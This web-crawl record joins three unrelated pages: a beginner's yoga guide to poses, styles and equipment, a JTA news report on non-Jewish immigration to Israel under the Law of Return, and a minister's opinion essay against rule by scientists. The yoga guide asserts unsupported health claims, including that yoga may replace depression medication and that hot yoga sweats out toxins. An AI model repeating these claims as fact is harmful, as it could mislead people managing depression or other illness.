Although yoga is now a westernized term, it wasn’t always known to the western population. The concept of yoga took off in the late 19th century when monks in India started sharing their knowledge about spiritual practice with westerners. Tourists arriving in India were curious enough to learn a few ins and outs of the practice and adopt the findings in their own lives. As time passed, television networks along with ayurvedic and holistic teachers spread the word about yoga, and by the 1970s everyone and their uncle knew about yoga.
The yoga of today drastically differs from the yoga of the past – it has since acquired many forms to accommodate everyone, including those with physical disabilities and the elderly. This, however, didn’t change the fundamental premise of yoga that fosters the connection between the mind and the body.
With regular practice, people start seeing progress in how mentally stable and physically advanced they feel. Avid yoga enthusiasts note that their stress levels drop, they acquire emotional awareness, and they are better able to control the quality of their breathing. They also state that their physical endurance rises dramatically and they are able to alleviate some chronic conditions.
What are the benefits of yoga?
The ancient practice most certainly has more benefits than we can list. This prompts people to feel motivated and carry on with their yoga routine even when it gets challenging. With scientific researchers becoming interested in the advantages of doing yoga, you can rest assured that you’re not wasting your time executing at first, seemingly impossible to achieve poses.
Perhaps the most common benefit of yoga is improved flexibility. Contrary to the popular belief that you have to be flexible to start practicing yoga, the plasticity of your body develops as you dive deeper into the practice. There are no physical prerequisites for improving the existing level of flexibility – it is all about working with what you have got. You will soon observe how you ‘all of a sudden’ are able to touch your toes, hold the perfect posture, and even do a backbend.
The more you experiment with yoga poses and learn the new ones, the healthier your bones become and the better your blood circulates. Researchers from California State University came to the conclusion that yoga’s tendency to lower cortisol (stress hormone) levels in the body is closely linked to the increased bone density. Since you are moving your body in every direction and stretching every muscle, you are receiving more oxygen in your cells, which results in healthier blood flow.
An exemplary posture is another benefit you get from adopting yoga into your lifestyle. In spite of our lives being so much more technologically advanced in the new century, we continue to struggle with poor posture more than ever before. Yoga helps to release the unnecessary tension imposed on the spine and keeps your inward neck and back curves in the healthy, non-flat state.
Another great benefit associated with regular yoga sessions is the improved nervous system that results in relaxed body muscles and better focus. With daily stress becoming an inevitable part of our lives, we need to find ways to get rid of the tightness in our bodies and maintain a healthy nervous system. This is where yoga helps yet again – it encourages a slow breath, that shifts the focus from the infinite ‘to-do’ list to the present moment.
A boosted immunity is also a direct outcome of a systematic yoga practice. When combined with some form of meditation, it does wonders for your body, starting with fighting off the common cold, to mitigating the immune system’s improperly belligerent function towards autoimmune diseases. Who wouldn’t give their all to have a perfectly well-functioning immune system that doesn’t fail at the sign of illness?
Don’t forget about the basic benefit of increased happiness. You have heard it right – yoga has the power to make you a happier person as your cortisol levels decrease and serotonin levels increase. It’s been proven that consistent yoga practice can help those dealing with depression, and potentially eliminate the need for drug intake. This fact alone is sufficient to turn sceptics into believers and consequently practitioners of yoga.
Getting Started: Yoga Styles
You might be surprised to find there are several styles of yoga that meet different needs. One person stretching in a child’s pose is doing a completely different yoga type to someone chanting in a lotus pose. To find what style resonates with you the best, read through the descriptions we’ve created for each of them.
Yin Yoga: Helps increase flexibility
Combining relaxation and just the right amount of intensity, Yin yoga incorporates 3-5 minute poses that are usually performed in seated and lying down positions. Its aim is to release tension through prolonged stretches and promote flexibility in the spine, hips, and pelvis area. People who suffer from constant stress and chronic illnesses will find this style of yoga to be particularly helpful in the long run.
Hatha Yoga: Helps promote strength
During Hatha classes, you will be holding somewhat challenging poses that are intertwined with appropriate breathing techniques. This practice focuses on the alignment between mind, body, and spirit and is usually executed in a slow-paced manner. The best part is that you can do it at 10 and at 80 years old – there is no age limit. As a result of consistent exercise, your entire body will be toned and strengthened.
Vinyasa Yoga: Helps breathe correctly
While Hatha yoga implies poses with resting sessions in between, Vinyasa yoga sets out to create a sequence, or a so-called flow of movements that are synchronized with the breath. It is the breath that helps you move from one pose to another without needing a break. Beginners find this style of yoga a great starting point when getting acquainted with the more spiritual practice, as it offers flexibility, strength, breathing techniques, and meditation all in one cycle.
Kundalini Yoga: Helps develop spirituality
If we dive deep into the essence of yoga, we will observe that this discipline is fundamentally spiritual. Its main purpose is to develop harmony between ourselves and our surroundings, which is where Kundalini yoga comes into play. This yoga style involves repetitive movements that are accompanied by mantras, chanting, and meditating. Yogis recommend practicing Kundalini to awaken inner power through opening the chakras.
Ashtanga Yoga: Helps perfect skills
Recognized as a modern-day type of classical Indian yoga, Ashtanga is a step up from the other yoga styles, from both the poses and breathwork perspective. It represents a series of physically demanding poses performed at a fast pace that is complemented with the right type of breathing. The movement sequences are repeated one after another and are not to be interrupted with water breaks.
Bikram Yoga: Helps lose weight
You might be more familiar with the term ‘Hot yoga’ than you are with ‘Bikram yoga’, although, in essence, they are the same thing. This yoga style is differentiated by the 26 poses and 2 types of breathwork that are repeatedly performed for 90 minutes in a room heated to 105°F. The heat stimulates profuse sweating that helps to get rid of the accumulated toxins. Bikram yoga is a pleasant alternative to cardio – it makes you lose weight while also building muscle strength, improving flexibility, and increasing concentration.
Iyengar Yoga: Helps recover physically
Being the opposite of the flow-type of yoga, Iyengar has a strong emphasis on holding poses for long periods of time to achieve the best results. You are provided with yoga straps, blankets, and blocks that assist with the proper alignment and the development of flexibility. Since your yoga teacher is well educated on the topic of common injuries, you can gradually get back into practice with minimum discomfort.
Restorative Yoga: Helps relieve stress
If stress relief is your biggest priority, Restorative yoga might just be the right style of yoga for you. During this practice, you will use yoga equipment to destress your body and mind from day-to-day anxiety. Gentle backbends, twists, and relaxed forward bends are some of the poses you will be doing, each for 10 minutes at a time. Expect to experience some soft stretching and, inevitably, an overall relaxed state and alleviation of chronic pains.
Getting Started: 10 Basic Yoga Poses
For a beginner, the number of yoga styles and poses that come with them might seem overwhelming. How do you choose what to start with and what direction to take? As your practices become more regular and your body more resilient, you will want to take on more challenging poses. For starters, however, let’s stick to these 10 basic poses:
Downward-Facing Dog Pose
This pose is present in almost every yoga sequence. It helps you stretch your arm and leg muscles and acquire strength. You should use it as a bridge that connects one movement with the other.
- Start on all fours and lift your hips off the mat while your hands are spread shoulder-wide on the floor.
- As your butt is facing the ceiling, straighten your legs to the best of your ability and press the heels firmly onto the mat.
- With your head between your shoulders, engage your core and hold the position for 6-8 breaths.
You can modify the pose by bending the knees if your hamstrings are too tight. To relieve the pressure on your wrists, spread your fingers as wide as you can, or change the pose to balancing on your elbows.
Warrior I Pose
To build strength and endurance, make sure to include Warrior I into your yoga flow. It targets the muscles of your entire body while also stretching your hips and thighs.
- Take a big step back as you would for a lunge and turn the back heel 75-degrees forward.
- Bend your front leg 90-degrees at the knee and keep your back leg straight.
- Lift your chest, bend your back, and reach arms overhead.
Note that for this pose your hips have to be facing forward – they should be parallel to the front of the mat. If you find this hard to achieve, you might want to increase the distance between your front and back leg.
Warrior II Pose
This pose is the sequel of the Warrior I and is the perfect starting point for the triangle and similar side poses. It opens up the hips and facilitates a deep inner thigh stretch.
- Take a big step back as you would for a lunge while keeping the toes of your front foot 90-degrees straight, and toes of the back foot in a perpendicular 45-degree angle.
- Bend your front knee so that it is right above your ankle and keep your back leg straight. You should be able to draw a straight line between the two heels.
- Twist your torso in between hips, extend your arms straight to your sides,with your head facing forward.
Typically, warrior poses are held for 5-10 breaths and are repeated on both sides for better results. Also, don’t let your bending knee move past your ankle. If this happens, decrease the depth of your lunge.
An all-around toning pose like this should be on everyone’s ‘to-do’ list. It opens up your chest, stretches the sides of your torso, and strengthens your legs muscles at the same time.
- Resuming from Warrior II, straighten the leg in front of you and extend your arm of the same side, fingers toward the mat.
- Lean your torso forward and open it up to the back leg’s side.
- Raise your other arm up towards the ceiling and hold the position for up to 8 breaths.
If it is too challenging for you to touch the ground with your fingers, consider resting your arm on your knee. Alternatively, you can use a yoga block to place your bottom hand onto for additional stability.
To develop balance, gain focus and clarity, and learn breathing techniques, practice tree pose. This seemingly easy pose religiously startles beginners who underestimate the power of stillness in yoga.
- Beginning with your feet standing firmly on the ground, place your right foot on the inner thigh of your left leg.
- With your knee bending at a 45-degree angle, lift your hands to either a prayer position or overhead.
- Find an object in front of you and fix your gaze while you hold and breathe for 5-8 breaths.
To get the most out of a tree pose, try not leaning onto the leg you are standing on and keep your core engaged. If you find it hard to maintain the balance, switch legs, or find a better point to fix your gaze.
Not foreign to other forms of physical activity, this pose teaches you to keep balance while building your core and upper body muscles. There’s a certain element of challenge to it, but it proves to be rewardful.
- Begin by standing on all fours and slowly reposition your body – lift your knees and extend the legs in a straight line behind you.
- Ensure your palms are firmly attached to the mat and are shoulder-distance apart from each other.
- Keep your spine in a straight line position while engaging your core and looking at the mat.
You can hold this position for as many breaths as you find possible to handle. While you do so, don’t let your shoulders rise to your ears so that they gain muscle strength too.
Low Plank Pose
No doubt, this pose is one of the toughest postures in yoga that beginners can brush up on as they gain more strength in arms, shoulders, and core. Also known as the Four-Limbed Staff Pose, it works as a preparation for the more difficult arm-balance poses.
- From holding the plank pose, shift forward, and lower your body until it’s hovering a little above the mat.
- Keep your body in a straight line and your arms bent at a 90-degree angle.
- Hold the pose for 2 breaths.
Remember that your shoulders and elbows have to be at the same height when going into a low plank. If this seems too hard at first, try doing the pose from your knees before you feel strong enough to move over to all fours.
This powerful backbend is worth incorporating into your yoga sequence as it builds your back strength without too much effort. You can also stretch your chest and shoulder muscles by doing it after a series of challenging moves.
- Start by laying down on your stomach and placing your palms flat under your shoulders while bending elbows.
- Lift your chest off the mat and create a half-moon upward line with your spine.
- Pull back your shoulders as much as you can and hold the pose for a couple of breaths.
When doing the Cobra Pose, you can either lift your chest up fully and gaze at the ceiling or lift it halfway up and stare at the mat. The more flexible you get, the higher you will be able to lift your chest, and the deeper the bend will be.
Seated Forward Bend Pose
You can do this pose at the beginning and at the end of your yoga practice to stretch your hamstrings and your back. It helps to release the accumulated tension and increase your flexibility.
- Sit with your back straight and your legs extended out in front of you.
- Bend forward and either grab the outer sides of your feet or place your hands on the mat.
- Once you start feeling the tension, hold the pose for 6-8 breaths and release.
The aim of this pose is to stretch your body and encourage flexibility. For this reason, don’t shy away from bending your knees so that your back is aligned with your spine.
Hands down everyone’s favorite part of a yoga sequence is when they get to lie down in a Child’s Pose. It can be done in between the grueling movements when your energy levels start decreasing and at the end of your yoga practice for a few moments of total relaxation.
- From standing on your all fours, sit your butt on your heels and extend your arms in front of you.
- Rest your head on the mat and allow your body to replenish.
- Hold the pose for a few slow breaths until you are ready to carry on with your practice (or stay put for longer if you are done with your daily practice).
By learning how to do this pose, you can use it every time you need a break from a stressful day. It has the power to calm down your nervous system and prevent you from a mental breakdown.
To reap the benefits of consistent yoga practice, learn to breathe into the pose, and listen to your body when it needs a break. Once you remember to breathe into the tensed areas, you will find yoga poses less challenging and start enjoying the practice.
Getting Started: Equipment & Attire
It can get overwhelming trying to decide what yoga equipment to invest in and what clothing items to choose when just starting out. The yoga industry has grown dramatically over the past several decades, and so did the number of manufacturers. This shouldn’t be an issue, however, as you hardly need anything to start practicing yoga. Don’t make the mistake of spending hundreds of dollars on purchasing every piece of equipment you can find – stick to basics and you will do just fine.
The rule of thumb is for your yoga attire to be comfortable, breathable, and of good quality. A typical yoga outfit consists of a pair of yoga pants (or shorts), a sports bra, and a top. Your yoga pants should be stretchy and form-fitting so that no fabric interferes with your movements. If tight bottoms are not your cup of tea, go for joggers or harem pants that have an elasticized hem. When doing hot yoga, shorts with spandex lining underneath work the best.
Yoga is not as intense as some other forms of workout are, which means you don’t have to wear a tight sports bra that restricts your movements. Pick a bralette you feel the most comfortable in and put a figure-hugging top over it. We wouldn’t recommend going for a loose top as it will most definitely fly over your head during yoga flows. If you are feeling fancy or simply can’t bear the thought of doing yoga barefoot, slip on a pair of grippy socks and you are all set.
Depending on whether you will be doing yoga at home or at the gym, you might not even need to purchase a yoga mat. If you do, however, decide to invest in your own mat that will meet your personal needs, stick to the following criteria. When choosing what yoga mat to get, make sure it has good traction, a medium level of thickness, and an easy-to-clean surface. Consider scrolling through Amazon for budget-friendly models or checking with your local yoga studio for premium-quality yoga mats.
As you acquire more confidence and find out what yoga style you prefer the most, you can think about investing in yoga blocks, straps, wheels, and other gear. They are helpful for achieving the body twists and bends that would otherwise be more difficult or even dangerous to achieve. These tools, however, are not essential and are merely a supplement to your yoga practice.
Getting Started: Studio Class vs. At-home Practice
One of the most frequently asked questions beginner yogis have, is whether they should enroll in the classes offered by their local yoga studio or practice yoga at home. Truth to be told, there is no one universal answer to this question. Some might prefer leaving their house a few times per week and socialize with friends while doing yoga, while others might find themselves more productive staying at home and following a YouTube tutorial. To learn what tribe of yogis you belong to, evaluate the perks of both scenarios.
Studio Class Pros
The main difference between a yoga practice at a studio and yoga practice at home is that the former provides you with hands-on guidance. Newbies who tend to have a theoretical knowledge of yoga, will greatly benefit from real-life instructions and proper feedback. Yoga teachers do their best when explaining the yoga sequences the class follows and fixing your posture when needed, which cannot be said about the at-home practices.
There is nothing more empowering than seeing people bonding over a shared hobby. This is perfectly applicable to offline yoga classes where you can meet like minded people and even make friends. It can be a nice excuse to get out of the house and socialize, all while immersing yourself in a newfound recreational activity. On top of that, when you finally connect with someone, you can keep each other accountable and work towards your common goals together.
In comparison with the at-home yoga practice, you get access to a much wider stock of yoga equipment when exercising at the studio. Public spaces tend to acquire all the necessary gear so that you wouldn’t have to pay for anything except for the membership. As a result, you can incorporate more diverse poses to your practice and consult with yoga teachers when using yoga equipment.
Following up on the previous perk, yoga studios are distinguished by their vast range of yoga classes including hot (Bikram) yoga, aerial yoga, and even prenatal yoga. Depending on the class, you will get to learn from yoga instructors specializing in different types of yoga. This fact raises the credibility of teachers and your stimulus to explore the new yoga variation you would never try otherwise.
At-Home Practice Pros
Those who are on a tight budget, without doubt, will be the first candidates for at-home yoga practice. Apart from a yoga mat and an internet connection, you don’t have to pay for anything. Surely, there are apps that offer their services for a fee, but there are also plenty of free-of-charge guides and videos you can use for your at-home yoga session. Some of those are Find What Feels Good, Asana Rebel, Pocket Yoga, Glo, and Yoga International.
In contrast with the yoga studio classes, you can go at your own pace when practicing yoga from home. There is zero peer pressure and an infinite amount of time you can spend on perfecting a yoga pose without feeling like you’re holding up your classmates. Besides, you can pause and rewind the yoga tutorial as many times as you want until you get the gist of the crow pose or the one-handed tree pose.
You would be surprised by how many of those exercising away from their home claim that they feel self-conscious when surrounded by other people. Whether it is because of the lack of their expertise or the continuous comparison to others, the effectiveness of those workouts is far from optimal. The at-home practice, on the other hand, allows you to rehearse the same yoga poses many times and not worry about anyone judging you (although this is very unlikely).
The skill of juggling work, leisure, and relationships doesn’t come easy, and long commutes combined with the less-than-convenient timetable of yoga classes can take a real toll on you. With at-home practice, you don’t have to think about where to park your car, how much traffic you will encounter on the road, and how much meal prep you have to do for your kids before you leave the house. You can squeeze in a yoga practice as early as 6 AM before everyone is awake or as late as 10 PM before going to bed and not depend on anyone else’s agenda.
As you can tell, there are advantages to each of the scenarios. Your choice will merely depend on the lifestyle you have and the sacrifices you are willing or not willing to make in favor of yoga. Generally speaking, social butterflies who crave personal interactions with a yoga teacher and their peers will be motivated to enroll in the yoga studio classes. Alternatively, those who prefer creating their own schedules and not adhering to the already established by yoga studios timetables will lean towards at-home yoga practice. If you are flexible with your time, you can even attempt to combine at-studio and online classes to get the best of both worlds.
How To Become A Yoga Instructor
Once you have fallen in love with yoga and want to inspire others to incorporate the spiritual practice into their lives, you might start brainstorming about how to become a yoga instructor. A career in yoga can indeed be rewarding – you can do what you are passionate about and help others sync their bodies with their minds.
To turn this goal into a reality, you can choose the certification program that easily fits into your schedule and gain the required knowledge in a matter of months. Review these 5 steps to becoming a certified yoga instructor and see what you can start doing today:
1. Determine what style of yoga you would like to specialize in
As we have already discussed, there are several yoga styles you can dive deeper into depending on your personal preference. From Vinyasa and Bikram to Ashtanga and Hatha and beyond, you have to recognize what style of yoga speaks to you the most. Keep in mind that your chosen style has to be in alignment with the demographic audience you are going to be teaching, so choose wisely.
2. Enroll in the 200-hours+ yoga teacher training course (TTC)
To start teaching yoga, you have to undertake a Yoga Alliance-approved course that will enable you to become a registered yoga teacher (RYT). The most popular 200-hour courses are extensive enough to train you on the yoga peculiarities like human physiology, correct breathing techniques, and the philosophy of yoga.
You will learn how to get the most from yoga poses, how to create a connection between the body and the mind through the practice, and how to align this knowledge with day-to-day life in order to give it more meaning. The more hours the yoga teaching course has, the more theoretical and practical information you will get. Some of the most well-recognized yoga courses are Yoga Dicha in Tulum, Mexico; Samasti Yoga in Bali, Indonesia; Sri Yoga Ashram in Rishikesh, India; One Yoga in Koh Phangan, Thailand.
3. Apply for your RYT certification
Consider yourself (almost) all set – you have completed the TTC that now enables you to register with Yoga Alliance and receive your certification. Although not every employer requires you to have an RYT certification, the majority of yoga retreats and studios would prefer for you to have it so that your expertise and rules-abidance is not doubted. Moreover, once you have your certification, you get access to the community benefits like free online workshops, invitations to events hosted by the organization, and discounts for yoga apparel, insurance, and software.
4. Get an insurance
It is crucial to have insurance before you start teaching yoga to others. No matter if the yoga studio you will be teaching at is able to cover you or not, you have to take full responsibility for yourself and get both general liability and professional liability policy coverages. Only if you are covered, can you safely teach yoga and not worry about someone getting injured under your guidance and suing you as a result. Accidents do happen even to the most experienced yogis, so it is better to be safe than sorry.
5. Network and start teaching yoga
Your yoga teaching experience will highly depend on the connections you make with others. So, make an effort to put yourself out there, join communities of like minded people, and know your market inside out.. Once you do your part, you will find it easier to get work gigs and acquire the much-needed yoga teaching experience. And, don’t forget to always keep learning and advancing your skills in this craft to bring new opportunities into your life.
Now that you know what it takes to become good at yoga, it is time to apply the theoretical knowledge into practice. Start with creating a schedule for your practices and committing to sticking with it. It is easy to get off the track and think to yourself that you will get to it later, but the truth is – you won’t. To not stall and actually reap the benefits of regular yoga practice, pick the style of yoga you are most interested in, wear your most comfortable clothes, and maybe even find a workout buddy to keep each other accountable.
Becoming ‘good’ at yoga has nothing to do with your flexibility skills or any other outside factors. It has, however, everything to do with your goal-oriented mindset and persistence that will help you get on the mat. Focus and strive for that body-mind connection. Do challenging poses while inhaling into the tensed moments, shut your mind off during practices, and remember your ‘why’. Namasté. | <urn:uuid:55a27f3e-6312-4a6c-af9d-99fa8a495a5e> | CC-MAIN-2022-33 | https://oldversion.divein.com/yoga/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.951472 | 6,261 | 2.21875 | 2 |
by Sam Sokol
JERUSALEM (JTA) — For the first time, Israel announced that Jewish immigrants to Israel were outnumbered by non-Jewish immigrants.
The headlines might suggest that Christians and perhaps Muslims have been moving to the Jewish state in significant numbers, but the truth is more complicated: According to numbers released on Dec. 31, 2018, by Israel’s Central Bureau of Statistics, 17,700 of the 32,600 migrants who moved to Israel in 2018 came under the Law of Return but were listed as “having no religion.”
Such immigrants, hailing largely from the former Soviet Union and Baltic states, count Jewish ancestry but are ineligible to marry as Jews, for example, under the state-controlled rabbinic court system. In 2017, there were 11,400 such immigrants out of a migratory population of 29,100.
The result is a heated debate over Jewish identity, the country’s strict Orthodox standards for converting to Judaism and how to best integrate new immigrants into the life of a Jewish state.
All told, there are already some 400,000 people, mostly from the former Soviet Union, living in Israel who are not considered Jewish by the Chief Rabbinate. Such immigrants and their children are “caught in a bureaucratic void, unable to marry in State-sanctioned weddings, and to partake in other basic rights of Jewish citizenry,” according to Itim, an advocacy group that works to help Israelis navigate the country’s religious bureaucracy.
Itim calls the situation “unacceptable, particularly given the dysfunctional and inadequate State conversion system, which converts a mere 2,000 Israeli citizens to Judaism each year.”
The Law of Return grants near-automatic citizenship to those with at least one Jewish grandparent. The Chief Rabbinate only recognizes them as Jews under the standards of halacha, or Jewish law: They must have a Jewish mother or have been converted to Judaism under Orthodox authorities approved by the Chief Rabbinate.
For the past several years, immigration from the former Soviet Union has again been on the rise, edging France and other Western European nations as the source for the largest number of new immigrants. Russians, many with Jewish roots, are fleeing their country’s economic stagnation. Many Ukrainians have fled from the Russia-backed military conflict convulsing the east of their country. According to Israel’s Ministry of Immigrant Absorption, more than 30,000 people emigrated from Ukraine between 2014 and October 2018.
According to a 2014 report by Vladimir Khanin, the chief scientist of the Israeli Ministry of Aliyah and Immigrant Absorption, the proportion of non-Jews among those arriving from the former Soviet and present-day Baltic states has been increasing for decades. While only between 12 and 20 percent of immigrants were considered non-Jews when immigration started in earnest following the Cold War, their numbers rose to between 40 percent and half in the late 1990s. By the first decade of the 2000s, the share of those designated as non-Jewish was between 56 and 60 percent.
In a country where demographic arguments carry political weight from everything to issues of religion and state to the peace process, accurate numbers are critical, said Israeli demographer Sergio DellaPergolla. He said the new figures stand at odds with some of the rhetoric being employed in Israel’s public policy debates.
“Considering that Jews compose 75 percent of the total Israeli population, the growth of the non-Jewish components was faster and therefore the Jewishness of Israel diminished — in spite of the triumphalist declarations by certain political circles that the Arab fertility rate has diminished,” he said.
Itim’s founder, Rabbi Seth Farber, said the numbers suggest the need to loosen Israel’s cumbersome process for converting to Judaism.
While some three quarters of Israel’s current population is considered Jewish to one degree or another, “if we were to take out from that [total] all the people who made aliyah who aren’t halachically Jewish, the number of Jews would go down to less than 65 percent,” Farber told JTA. “It would essentially destroy the Jewish State of Israel.
“Israel is doing a decent job of bringing people here but a terrible job of bringing these immigrants fully into the fold of the Jewish people. Because the only way to do that is to guarantee their full rights here in Israel and particularly to be married. And the only way to do that is to provide a system of conversion that would be accessible and traversable and unquestioned down the road. The Rabbinate is putting its head in the sand regarding a demographic time bomb for the people of Israel.”
Farber insists that given their Jewish ancestry and desire to become part of the Jewish political and cultural collective in Israel, it would be immoral to deny the newcomers entrance in the first place, as some among the haredi Orthodox have suggested.
“It’s not reasonable from a moral and family perspective,” he said. “A lot of these people suffered as Jews and have firm and strong Jewish identities, not necessarily religious identities, but they are part of the body of the Jewish people.”
Rabbi David Stav of Tzohar, an Israeli Modern Orthodox rabbinical organization, also seeks an overhaul of the country’s strict conversion process.
“I think that we know already as a fact for the last two to three years that most of the immigrants that arrived from Ukraine are not halachically Jewish,” he said.
“The change should be simple,” Stav said. “We offered this years ago: Convert the kids while they are minors.”
However, without an overhaul, interfaith marriage and assimilation will increase significantly, he warned.
For his part, Farber said that his organization had been working outside the official rabbinical court system to convert children, who, unlike adults, are not required to accept religious observance as part of the process. This year would mark the 1,000th such conversion his organization has facilitated, he said.
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‘I dread government in the name of science. That is how tyrannies come in’ (C.S. Lewis, 1958).
Laura Dodsworth’s recent book, A State of Fear: how the UK government weaponised fear during the Covid-19 pandemic, is a troubling read. It exposes the extent to which behavioural scientists and their ‘psychological operations’ to manipulate behaviour have become a pervasive tool of government. This coercive power over populations has been amply manifest over the past two years, as has the influence of scientists generally; the voices of the SAGEs have been ubiquitous in the public consciousness, like oracles of a national religion, the source of all guidance and authority.
The pretension of science to pre-eminence in directing public life is not new, nor is the danger it presents. Recently I came across a pastoral letter written in July 1968 by my father, James Philip, to the congregation of Holyrood Abbey Church, Edinburgh. It referenced a serious proposal then being considered: that the House of Lords be abolished and replaced with a ‘House of Scientists’, a body of ‘experts’ to apply scientific knowledge and advances in technology for the greater good of society. I was struck by how prescient these words were, and their relevance today, more than 50 years on.
‘The basic fallacy is the assumption that scientists as scientists must necessarily be more qualified to rule the nation or the world than other men. One would have thought that the history of the twentieth century with its grim record of scientific destruction … nuclear powers, the existence of terrifying nerve gases and the possibilities of bacteriological warfare, would tend to qualify the credulous enthusiasm men seem to have for the great ones of the scientific world. But apparently not… . “Within this generation”, one scientist is on record as saying, “the scientist will cease to be the man on tap, and become the man on top. Many scientists have their hands on the controls of political action. This is one of the most optimistic things about the future of man.”
‘This is an optimism that we do not and cannot share, but can only view with the deepest misgiving.’
He went on to discuss by way of example a widely-viewed documentary celebrating (then) 20 years of the NHS, which had examined the ‘science’ of preventing abnormality in children:
‘No-one who has had experience of the heartache and distress brought to homes and families by such tragedies could fail to be thankful for any medical research that seeks to alleviate or prevent the long agonies of afflicted parents and children. But research is one thing, the imposition of control (as implied in the programme) is quite another. And what was so disquieting was to realise just how far medical authorities would be prepared to go (in the name of scientific advancement) in advocating legislation to prevent parents having children if there was the possibility of their being abnormal. … There is a great deal of thinking of this nature in scientific circles today, which strikes at the very foundation of Christian ethics and Christian ideas of human dignity and freedom. Two or three years ago the CIBA Foundation, a foundation for the encouragement of medical and scientific knowledge, gathered together distinguished scientists from four continents to discuss “the future of man”. The papers read at this Conference … were alarming in the extreme: Genetics (the study of heredity) and Eugenics (the production of “high-grade” offspring) should be employed, it was said, to raise the general level of genetic intelligence and increase the number of outstandingly intelligent and capable people needed to run our increasingly complex societies – this from Julian Huxley. Another scientist proposed that this could be done by a Government putting a chemical into our food or water which made everybody sterile, and then provide a second chemical capable of reversing the effect of the first for those whom it licensed to bear children.’
One question that all this raised was whether human beings have a right to have children… . ‘This is taken for granted because it is part of Christian ethics, but in terms of humanist ethics, I do not see why people should have the right to have children’ said one scientist. Another agreed, saying ‘in a society in which the community is responsible for people’s welfare – health, hospitals, unemployment, insurance – the answer is No.’
This is the ‘brave new world’ to which the men of science hope, and intend, to bring us. And those who do not care much for the idea will receive short shrift: ‘Unless the average man can understand and appreciate the world that scientists have discovered … playing a constructive part in it, he will fall into the position of an ever less important cog in a vast machine. In this situation his own powers of determining his fate, and his very will to do so, will dwindle, and the minority who rule over him will eventually find ways of doing without him.’
This deadly philosophy is not new: it found expression and was put into practice with fateful consequences for the world in the Third Reich in Germany, when Hitler’s megalomaniac dream of a pure Aryan race led to the appalling genocidal atrocities of the gas chambers and concentration camps, all stemming from the philosophy of the superman dreamt up by the brilliant intellectual madman, Nietzsche. One critic at the Conference said: ‘It is just as well that the first cycle of eugenics did die because we have seen in Nazism where it may lead. I think that it is no accident that the Nazi’s doctrines about sterilisation were closely linked, intellectually and morally, to Nazi doctrines about genocide. That is why I am so alarmed to see what is happening today’.
Alarmed indeed! Well might we all be alarmed as we see the dangerous and fanatical arrogance of men of science and realise that there are those bemused enough by their intellectual brilliance to think that this qualifies them to rule the country. Long ago, King David uttered timeless words when he said: ‘He that ruleth over men must be just, ruling in the fear of God’ (2 Sam. 23:3). This is still the Divine prescription today, and it is neglected at our peril. To put man in place of God as the master of all things is to abolish all absolute standards of morality and to invite disaster in society and in personal life alike.
As we look back over the past two years, it is hard to deny that the universal assumption underlying much of our own and other governments’ response to the pandemic has been that human beings – and scientists in particular – are the masters of all things, including nature, and see themselves increasingly as the arbiters of right and wrong, of truth and lies, and of what may be spoken and what must be censored in the public sphere.
It is this dark shadow of technocratic totalitarianism C.S. Lewis warned of in an essay in the Observer in 1958, where he said: ‘I dread government in the name of science. That is how tyrannies come in.’
Lewis continued: ‘The new oligarchy must more and more base its claim to plan us on its claim to knowledge. …This means they must increasingly rely on the advice of scientists, till in the end the politicians proper become merely the scientists’ puppets. Technocracy is the form to which a planned society must tend.’
Men like my father and C.S. Lewis lived through the middle decades of the 20th century, witnesses to the rise of the totalitarian regimes of both Nazis and Soviets, in both of which, tellingly, science and medicine were the willing handmaids to horrific and terrifying evil. Unlike many today, softened as we are by decades of decadence and ease, they were alert to these very real dangers which today’s society – and church – in the West seems to have too easily forgotten. We do so at our peril.
Another 20th-century theologian who saw with great clarity was Emil Brunner, who in his post-war Gifford Lectures in 1947, ‘Christianity and Civilisation’, spoke about the sinister combination of the extraordinary developments of modern technology, which tempt modern man with a feeling of God-like power, and the arrogance of the totalitarian ideal in the modern Godless state: ‘It is then that man, identifying himself with that state, can believe himself to be God, the creator of his own existence, having in his hands unlimited powers and illimitable authority over other men. This totalitarian man is, in all probability, the monster of the Apocalypse who tramples down and devours humanity.’
He went on to warn that: ‘the totalitarian state is the most urgent problem of our civilisation at this present hour. For it is precisely in this generation that it should become obvious where the de-Christianisation of culture and civilisation – the main feature of the past few centuries – leads.’
Three-quarters of a century on, in this present hour of our generation, we are now far further down that road of emancipation from Christian truth Brunner warned would inevitably ‘lead to the total effacement of anything truly human’. Amid a culture being submerged in a social epidemic of aggressive transgenderism and a technological quest to embrace transhumanism, it is obvious we are indeed utterly confused about what it means to be human, and accelerating headlong towards the nadir of grim absurdity.
The challenge facing the orthodox Christian church in the West today is to be awake and alert to reality, and determined enough both to defend itself from such ideological onslaughts, and help preserve society from self-inflicted ruin, which is surely what true (not trite) love for our neighbour entails.
Rod Dreher in his recent book Live Not By Lies, articulates clearly how in the West today we are already living under ‘soft totalitarian’ conditions, where ‘liberal’ progressives have gained almost total control, not of the means of economic production like their Bolshevik predecessors, but of the means of cultural production. As a result, increasingly nothing will be permitted which contradicts society’s ruling ideology. And given that the culture shapers are so enmeshed with the world of big tech, the vast data harvesting and manipulation they possess give powerful tools for surveillance and social control to force conformity ‘demonising, excluding, and even persecuting all who resist its harsh dogmas’. ‘This is the brave new world of the twenty-first century’ he says, and a much ‘harder’ totalitarianism ‘is coming, and it is coming fast.’
Back in 1968 my father concluded his letter thus: ‘This is one more reason why Christian people should be actively involved in public affairs, standing for Christian moral values and being prepared to defend them vigorously when they are attacked or subtly undermined. Are we to remain dumb and unprotesting when we see what remains of our Christian heritage contemptuously swept aside by atheistic decadents in favour of this bleak and devilish programme? We must not contract out of this urgent responsibility. In this, as in so much else, the price of freedom is eternal vigilance.’
How much more urgent that challenge is today. This is not a time for pietism or quietism: ‘Here is a call for the endurance of the saints, those who keep the commandments of God and the faith of Jesus’ (Rev. 14:12) – in the public square, not just in the private sanctuary.
William Philip has been minister of the Tron Church, Glasgow, since August 2004. He moved from London, where for five years he was Director of Ministry with The Proclamation Trust, working with ministers, teaching those training for ministry in the Cornhill Training Course, and overseeing a varied programme of conferences. Before that he served in ministry positions in Aberdeen where, prior to ordination, he studied medicine at Aberdeen University, and trained in cardiology at Aberdeen Royal Infirmary. | <urn:uuid:b46a0141-1b3a-4b0f-b74a-ba670d52879b> | CC-MAIN-2022-33 | https://evangelicalsnow.wordpress.com/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572198.93/warc/CC-MAIN-20220815175725-20220815205725-00265.warc.gz | en | 0.96051 | 2,520 | 1.859375 | 2 |
